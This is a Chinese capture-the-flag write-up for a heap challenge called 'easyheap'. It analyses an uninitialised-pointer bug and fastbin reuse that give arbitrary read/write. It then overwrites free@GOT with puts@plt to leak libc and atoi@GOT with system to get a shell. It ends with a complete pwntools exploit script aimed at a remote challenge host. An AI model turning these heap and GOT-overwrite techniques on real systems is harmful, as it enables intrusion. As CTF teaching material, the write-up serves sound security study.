首先,检查一下程序的保护机制,发现没开PIE,且got表可写
然后,我们用IDA分析一下,发现没有show功能
出现了很多sub_4008F1()函数我们一个个点开看一下,发现最后一个是创建,为了便于分析我们可以改成add(n)
可以看出创建节点功能里,存在ptr[i]堆内容未初始化的漏洞经过分析,节点的结构体如下
struct Obj{
char *Data;
int Size;
}
这里有个地方比较有趣,只能允许3个结构同时存在,还有输入的大小如果超过1024,操作就会在分配Obj结构之后停止。乍一看,问题好像不大,没啥不对劲的。
再来看看别处,删除操作
很明显,释放Obj的时候,没有将Obj的Data指针置空。结合添加操作里面的代码,我设想一种情况:正常分配两个Obj0 和Obj1,其Data 域大小为0x60(合法就行)。释放Obj0 ,Obj1,此时fastbins 的情况是Obj1->Obj0, Obj1->Data->Obj0->Data。
然后再添加两个Obj,故意将Data域的大小设置为非法,这样就能成功保留下Obj1->Data,后面就可以利用了。
可见Obj1->Data 指向了Obj0 的堆头,并且释放Obj 的时候Size 并没有置零。因此,接下来我只要添加两个非法大小的Obj->Data,就能够将Obj0->Data 指向任意地址,也就能任意地址写了。
本程序没有输出操作,所以首先考虑将free_got 修改为puts_plt,然后添加一个合法的Obj3,释放 Obj3,就能泄露堆地址。
然后再添加一个Obj,他仍然是之前的Obj3。编辑Obj0->Data,将Obj1->Data修改为Obj3 的地址。编辑Obj1->Data,将Obj3->Data 修改成Obj3->puts_got。释放Obj3,就能泄露出puts_got 内存,计算偏移得到libc_base 。
用同样的方法将malloc_got 修改为one_gadget ,当进行添加操作时就能够getshell 了。
如果我们输入的size大于1024,obj结构体内容就不会初始化。然后,本题glibc版本为2.23,所以存在fastbin机制,如果未初始化的obj节点的data正好指向了下一个空闲堆,并且下一次创建新节点时,那个大小0x10的空闲堆被作为另一个obj节点的空间,那么,我们就能通过edit,来控制下一个obj的data指针,达到任意地址读写的功能为了泄露地址,我们利用任意地址读写,修改free的got表为puts的plt表地址,然后free堆时,就会泄露堆里面的内容,得到glibc地址,计算出需要的函数的地址。接下来,同样利用任意地址读写,改写atoi的got表为system地址,然后输入/bin/sh即可getshell。完整的exp.py
#coding:utf8
from pwn import *
#sh = process('./easyheap')
sh = remote('121.36.209.145',9997)
elf = ELF('./easyheap')
libc = ELF('./libc.so.6')
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400c63
#context.log_level = 'debug'
def create(size,content):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('How long is this message?',str(size))
sh.sendafter('What is the content of the message?',content)
def createNoContent():
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('How long is this message?','2048')
def delete(index):
sh.sendlineafter('Your choice:','2')
sh.sendlineafter('deleted?',str(index))
def edit(index,content):
sh.sendlineafter('Your choice:','3')
sh.sendlineafter('modified?',str(index))
sh.sendafter('message?',content)
#申请0x18大小的堆
create(0x18,'a'*0x18)
delete(0)
#未初始化漏洞
createNoContent()
#1的节点在0的content位置
create(0x18,'b'*0x18);
delete(1)
createNoContent()
create(0x18,'c'*0x18);
#修改节点2的content指针,执行free_got
edit(1,'c'*0x10 + p64(free_got))
#修改free的got表为puts
edit(2,p64(puts_plt))
#修改节点2的content指针,指向puts_got
edit(1,'c'*0x10 + p64(puts_got))
delete(2)
sh.recvuntil('\n')
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'puts_addr=',hex(puts_addr)
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'system_adrr=',hex(system_addr)
#修改节点1的content指针,指向atoi_got
edit(0,'c'*0x10 + p64(atoi_got))
#修改atoi的got表为system
edit(1,p64(system_addr))
#getshell
sh.sendlineafter('Your choice:','/bin/sh')
sh.interactive()